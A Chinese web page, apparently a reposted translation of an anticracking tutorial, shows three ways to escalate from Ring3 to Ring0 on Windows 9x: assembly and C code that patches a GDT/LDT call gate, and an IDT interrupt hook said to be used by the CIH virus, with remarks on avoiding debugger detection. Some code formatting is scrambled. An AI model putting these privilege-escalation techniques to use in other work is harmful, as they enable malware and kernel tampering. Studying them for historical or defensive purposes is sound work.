欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

win9x下ring0的实现(翻译自www.anticracking.sk) (16千字)

win9x下ring0的实现(翻译自www.anticracking.sk) (16千字)

--------------------------------------------------------------------------------
谈谈Ring0的实现
--------------------------------------------------------------------------------
处理器有4个级的优先权:Ring0,Ring1,Ring2,Ring3.
大多数程序运行于Ring3这个级别。Ring3有很多限制,
如: 我们不能读DR(debug-registers,调试寄存器),所有关于 DR的指令都不起作用。(如:mov eax,dr7).
对我们来说当然是优先级越高越好,所以我们要使我们的 程序运行在Ring0.但是只有少数的特殊的程序有Ring0的优先权。
设备驱动程序运行于Ring0,但它的代码可不简单!
所幸,Windows有很多漏洞,特别是Win9X。有很多方法可以将 程序的优先级从Ring3变成Ring0.
这些方法被很多病毒所用, 当然,我们还有更多,更好的用途!
这些方法只适用于Win9X,不适用WinNT。因为WinNT是黑客的主要攻击对象,它的漏洞都添的差不多了。
可以在程序中加入代码 先判断操作系统是否Win9X,若是就可以用了。
如果一定要在 WinNT或Win2K下用Ring0,就要编写设备驱动了。
如果你是admin(管理员)级别的用户,那还有别的方法,但前提是你必须有admin的级别。
对一般用户来说这是个好消息,因为Win下的病毒没那么好编, 那些病毒作者就要费老劲了!

--------------------------------------------------------------------------------
Part I
下面介绍一下改变优先权至Ring0的方法用LDT(Locale Descriptor Table):
这个古老的方法极少被用。这不是最好的方法,但至少比用IDT 好,原因嘛?因为它鲜为人知。 下面是程序范例:

--------------------------------------------------------------------------------
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc
Extrn SetUnhandledExceptionFilter : PROC
.data
msg1
db "Switch to Ring0 by LDT",0
msg2
db "Ring0 activated",0

gdt_
df 0
call_
dd 00
dw 0Fh
o_gate
.code
dw 0
dw 028h ;segment for RING0
dw 0EC00h
dw 0

Start:

mov eax, offset ring0
;our Ring0 routine
mov [o_gate],ax ;set address of our new Ring0 service to our "callgate" shr eax,16
mov [o_gate+6],ax
xor eax, eax
sgdt fword ptr gdt_
;save GDT mov ebx,dword ptr [gdt_+2] ;GDT base address
sldt
ax
 
add
ebx,eax
;discriptor address

mov
al,[ebx+4]
 
mov
ah,[ebx+7]
 
shl
eax,16
;LDT address

mov ax,[ebx+2] ;callgate's discriptor address
add eax,8
 
mov edi,eax
;set in callgate for changes
mov esi,offset
o_gate
;our "callgate" address
movsd
;move it to real callgate
movsd
;for jump to Ring0

call fword ptr [call_]
;jump to Ring0 to our Ring0 service
xor eax, eax
 
sub edi,8
stosd
stosd
;delete our changes in callgate

call MessageBoxA,0, offset msg2, offset msg1,0
call ExitProcess, -1

--------------------------------------------------------------------------------
;Our new Ring0 service
--------------------------------------------------------------------------------
ring0:
mov eax, dr7 ;test for Ring0
retf ;back to RING3
ends
end Start
--------------------------------------------------------------------------------
Part II
下面是我在网上找到的例子,是Sopinky用C写的。

Example:

--------------------------------------------------------------------------------
Main.CPP

--------------------------------------------------------------------------------
#include <WINDOWS.h>
#include "DirectHackers.h"

//it is a example of a proc in Ring 0
Ring0Proc()
{
InitRing0();
__asm
    {
          int 20h                      //get current vm
        _emit 0x01                    //Function ID
            _emit 0x00
        _emit VMM_ID                  //VXD ID
            _emit 0x00
                                        //in ebx i have the handle
                                        //of virtual machine
    }
RetCallback;
};
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, PSTR lpCmdLine,int nCmdShow)
{
MSG msg ;
DWORD a;
int x;
__asm pusha
InitDirectH();
CallRing0((unsigned int)Ring0Proc);
__asm popa
return 0;
}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DirectHackers.h

--------------------------------------------------------------------------------
#ifndef __DirectHackers_h
#define __DirectHackers_h
#include "VMMStruct.h"
//Data
DWORD VM=0,TR=0;
Control_Block *VMCBSystem=0,*VMCB=0;
DWORD esp3;
WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register
WORD cs0,ds0,es0,fs0,gs0; //State of ring 0 register
Comp *Callb,Callbcpy; //a callbacks
//to return of ring 0
#define RetCallback \
_asm sti \
_asm pop edi \
_asm pop esi \
_asm pop ebx \
_asm leave \
_asm retf;
InitDirectH()
{
FPWORD gdt; //Base of GDT
Descriptor *gdtdesc;
word a;
__asm sgdt gdt; //get the addres of GDT
gdtdesc=(Descriptor *)gdt.base;
__asm //Save the ring 3 Segments selectors
{
mov cs3,cs
mov ds3,ds
mov es3,es
mov sp3,sp
mov fs3,fs
mov gs3,gs
mov esp3,esp
}
//Serch for the adecuate CS
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
if(gdtdesc->limit_l==0xffff &&
gdtdesc->base_l==0x0000 &&
gdtdesc->base_m==0x00 &&
gdtdesc->access==0x9b &&
gdtdesc->limit_h== 0xcf &&
gdtdesc->base_h==0x00)break;

}
cs0=a<<3;
                                        //Serch for the adecuate DS, ES, Etc
for(a=0;a<(gdt.limite>>3);a++)
{
gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a));
        if(gdtdesc->limit_l==0xffff &&
        gdtdesc->base_l==0x0000  &&
        gdtdesc->base_m==0x00    &&
        gdtdesc->access==0x93    &&
        gdtdesc->limit_h== 0xcf  &&
        gdtdesc->base_h==0x00)break;
        }
ds0=a<<3;
es0=a<<3;
fs0=a<<3;
gs0=a<<3;
}
                                        //Call a proc and switch to ring 0
CallRing0(DWORD PUNTERO)
{
FPWORD gdt;
Descriptor *gdtdesc;
Comp *Callb,Callbcpy;
FARJMP salto;
WORD h,l;
salto.offset32=0;
salto.seg=0x08;
        __asm  sgdt  gdt;
        gdtdesc=(Descriptor *)(gdt.base+8);
        Callb=(Comp *)(gdt.base+8);
        Callbcpy.sel=Callb->sel;      //make a copy
        Callbcpy.attrib=Callb->attrib;
        Callbcpy.offs_l=Callb->offs_l;
        Callbcpy.offs_h=Callb->offs_h;
        Callb->sel=cs0;
        Callb->attrib=0xec00;;
__asm
        {
        mov eax,PUNTERO
        mov l,ax
        shr eax,16
        mov h,ax
    }
        Callb->offs_l=l;
        Callb->offs_h=h;
__asm {
          push ds
                  push es
                  push gs
                  push fs
      }                                //save the ring 3 segment selectors

__asm
//Call the CALL GATE!!!!
cli
{
 

call FWORD PTR
}
__asm
{
cli
pop fs
salto
//restore de segment selectors in ring 3

pop gs
pop es
pop ds

    sti
        }
return;
}

InitRing0()
{
        FPWORD gdt;
        Comp *Callb;
        __asm  sgdt  gdt;
        __asm  cli
        Callb=(Comp *)(gdt.base+8);
        Callb->sel=Callbcpy.sel;
        Callb->attrib=Callbcpy.attrib;
        Callb->offs_l=Callbcpy.offs_l;
        Callb->offs_h=Callbcpy.offs_h;
        __asm
        {
        mov ds,ds0
        mov es,es0
        mov fs,fs0
        mov gs,gs0
        sti
                                        //int 3h
        int 20h
        _emit 0x08                    //get the thead handle
        _emit 0x01
        _emit VMM_ID
        _emit 0x00
          mov TR,edi
        int 20h
        _emit 0x01                    //get current vm
        _emit 0x00
        _emit VMM_ID
        _emit 0x00
          mov  VM,ebx                  //current VM handle, osea de sistema
        sti
        }
}
#endif
------------------------------------****--------------------------------------
VMMStruct.h
------------------------------------****--------------------------------------
#ifndef __vmmstruct_h
#define __vmmstruct_h
                                        //definitions
#define Get_Cur_VM_Handle 0x01
#define Get_VMM_Version  0x00
#define VMM_ID 0x01
#define VDD_ID 0x0a
#define VFD_ID 0x0011f;
#define VWIN32_ID  0x0002A
#define SHELL_ID  0x00017
#define word  unsigned short
#define dword unsigned int
#define DWORD  unsigned int
#define WORD  unsigned short
#define byte  unsigned char
#define BYTE  unsigned char
                                        //Structs
#pragma pack(1)
typedef struct
{
    word  limite;
        dword base;
}FPWORD;
typedef struct
{
        dword offset32;
        word  seg;
}FARJMP;
                                        //struct of descriptors
typedef struct
{
WORD limit_l;
WORD base_l;
BYTE base_m;
BYTE access;
BYTE limit_h;
BYTE base_h;
}Descriptor;
typedef struct
{
WORD desp_l;
WORD sel;
BYTE tipo_l;
BYTE tipo_h;
BYTE desp_h;
}Idt_Descriptor;
                                        //compuertas del 386
typedef struct
{
WORD offs_l;
WORD sel;
WORD attrib;
WORD offs_h;
}Comp;
                                        //Description Block
typedef struct  {
    ULONG DDB_Next;                    /* VMM RESERVED FIELD */
    USHORT DDB_SDK_Version;            /* INIT <DDK_VERSION> RESERVED FIELD */
    USHORT DDB_Req_Device_Number;      /* INIT <UNDEFINED_DEVICE_ID> */
    UCHAR DDB_Dev_Major_Version;        /* INIT <0> Major device number */
    UCHAR DDB_Dev_Minor_Version;        /* INIT <0> Minor device number */
    USHORT DDB_Flags;                  /* INIT <0> for init calls complete */
    UCHAR DDB_Name[8];                  /* AINIT <"        "> Device name */
    ULONG DDB_Init_Order;              /* INIT <UNDEFINED_INIT_ORDER> */
    ULONG DDB_Control_Proc;            /* Offset of control procedure */
    ULONG DDB_V86_API_Proc;            /* INIT <0> Offset of API procedure */
    ULONG DDB_PM_API_Proc;              /* INIT <0> Offset of API procedure */
    ULONG DDB_V86_API_CSIP;            /* INIT <0> CS:IP of API entry point */
    ULONG DDB_PM_API_CSIP;              /* INIT <0> CS:IP of API entry point */
    ULONG DDB_Reference_Data;          /* Reference data from real mode */
    ULONG DDB_Service_Table_Ptr;        /* INIT <0> Pointer to service table */
    ULONG DDB_Service_Table_Size;      /* INIT <0> Number of services */
    ULONG DDB_Win32_Service_Table;      /* INIT <0> Pointer to Win32 services */
    ULONG DDB_Prev;                    /* INIT <'Prev'> Ptr to prev 4.0 DDB */
    ULONG DDB_Size;                    /* INIT <SIZE(VxD_Desc_Block)> Reserved */
    ULONG DDB_Reserved1;                /* INIT <'Rsv1'> Reserved */
    ULONG DDB_Reserved2;                /* INIT <'Rsv2'> Reserved */
    ULONG DDB_Reserved3;                /* INIT <'Rsv3'> Reserved */
}Desc_Block;

                                        //Control block
typedef struct  {
    ULONG Client_EDI;                  /* Client's EDI */
    ULONG Client_ESI;                  /* Client's ESI */
    ULONG Client_EBP;                  /* Client's EBP */
    ULONG Client_res0;                  /* ESP at pushall */
    ULONG Client_EBX;                  /* Client's EBX */
    ULONG Client_EDX;                  /* Client's EDX */
    ULONG Client_ECX;                  /* Client's ECX */
    ULONG Client_EAX;                  /* Client's EAX */
    ULONG Client_Error;                /* Dword error code */
    ULONG Client_EIP;                  /* EIP */
    USHORT Client_CS;                  /* CS */
    USHORT Client_res1;                /*  (padding) */
    ULONG Client_EFlags;                /* EFLAGS */
    ULONG Client_ESP;                  /* ESP */
    USHORT Client_SS;                  /* SS */
    USHORT Client_res2;                /*  (padding) */
    USHORT Client_ES;                  /* ES */
    USHORT Client_res3;                /*  (padding) */
    USHORT Client_DS;                  /* DS */
    USHORT Client_res4;                /*  (padding) */
    USHORT Client_FS;                  /* FS */
    USHORT Client_res5;                /*  (padding) */
    USHORT Client_GS;                  /* GS */
    USHORT Client_res6;                /*  (padding) */
    ULONG Client_Alt_EIP;
    USHORT Client_Alt_CS;
    USHORT Client_res7;
    ULONG Client_Alt_EFlags;
    ULONG Client_Alt_ESP;
    USHORT Client_Alt_SS;
    USHORT Client_res8;
    USHORT Client_Alt_ES;
    USHORT Client_res9;
    USHORT Client_Alt_DS;
    USHORT Client_res10;
    USHORT Client_Alt_FS;
    USHORT Client_res11;
    USHORT Client_Alt_GS;
    USHORT Client_res12;
}Client_Reg_Struc;
typedef struct Thread_Control_Block {
    ULONG  TCB_Flags;                  /* Thread status flags */
    ULONG  TCB_Reserved1;              /* Used internally by VMM */
    ULONG  TCB_Reserved2;              /* Used internally by VMM */
    ULONG  TCB_Signature;
    ULONG  TCB_ClientPtr;              /* Client registers of thread */
    ULONG  TCB_VMHandle;              /* VM that thread is part of */
    USHORT  TCB_ThreadId;              /* Unique Thread ID */
    USHORT  TCB_PMLockOrigSS;          /* Original SS:ESP before lock stack */
    ULONG  TCB_PMLockOrigESP;
    ULONG  TCB_PMLockOrigEIP;          /* Original CS:EIP before lock stack */
    ULONG  TCB_PMLockStackCount;
    USHORT  TCB_PMLockOrigCS;
    USHORT  TCB_PMPSPSelector;
    ULONG  TCB_ThreadType;            /* dword passed to VMMCreateThread */
    USHORT  TCB_pad1;                  /* reusable; for dword align */
    UCHAR  TCB_pad2;                  /* reusable; for dword align */
    UCHAR  TCB_extErrLocus;            /* extended error Locus */
    USHORT  TCB_extErr;                /* extended error Code */
    UCHAR  TCB_extErrAction;          /*      "  "  Action */
    UCHAR  TCB_extErrClass;            /*      "  "  Class */
    ULONG  TCB_extErrPtr;              /*      "  pointer */
}Thread_Control_Block;
typedef struct
{
DWORD CB_VM_Status      ;
DWORD CB_High_Linear    ;
DWORD CB_Client_Pointer ;
DWORD CB_VMID          ;
DWORD CB_Signature      ;
}Control_Block;
#endif

--------------------------------------------------------------------------------
Part III
我想汇编语言的例子会比C写的更简洁明了些!毕竟低层代码是汇编的拿手好戏。 下面介绍常用的用IDT(Interupt Descriptor Table)实现Ring0的方法 最早是ELICZ写的,后来陈盈豪写CIH也用到了。 这种方法是很常用的,但现在能被大多数的跟踪程序(Frog-Ice,IceDump)检测出来, 这就是我推荐LDT方法的原因,好了废话少说,下面是代码。 Example:

--------------------------------------------------------------------------------
.386p
.MODEL FLAT,STDCALL
locals
jumps
UNICODE=0
include w32.inc
Extrn SetUnhandledExceptionFilter : PROC
Interrupt
equ 5
;interrupt number which we will use
.DATA
 
 
;if you use Int 1h or 3h, it will be
;more harder debugg your program

msg1
db
"Switch to
Ring0 by IDT",0
msg2
db
"Ring0 activated",0

.CODE
Start:

push
edx
 
sidt
[esp-2]
;read IDT to stack
pop
edx
;address of Interrupt table
add
edx,(Interrupt*8)+4

 
;Interrupt table base+Int number+size for
;Int in Interrupt table=Int vector address
mov
ebx,[edx]
 
mov
bx,word ptr
[edx-4]
;read old address our interrupt (INT 5h)

lea
edi,InterruptHandler
mov
[edx-4],di
 
ror
edi,16
;set our new interrupt handler
mov
[edx+2],di
 

push
ds
;save registers
push
es
 

int
Interrupt
;jump to Ring0 (our int 5h handler)
pop
es
;restore registers
pop
ds
 

mov [edx-4],bx ;set old int 5h handler ror ebx,16
mov [edx+2],bx
call MessageBoxA,0, offset msg2, offset msg1,0 call ExitProcess, -1

;-----------------------------------------------------------------------------
;OUR NEW INT 5h HANDLER (it run in Ring0)
;-----------------------------------------------------------------------------
InterruptHandler:
mov eax,dr7
;test for Ring0
iretd
;jump back to Ring3

ends
end Start
--------------------------------------------------------------------------------
还有很多方法可以实现Ring0,我也不知道了。大家请自己学习吧。

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功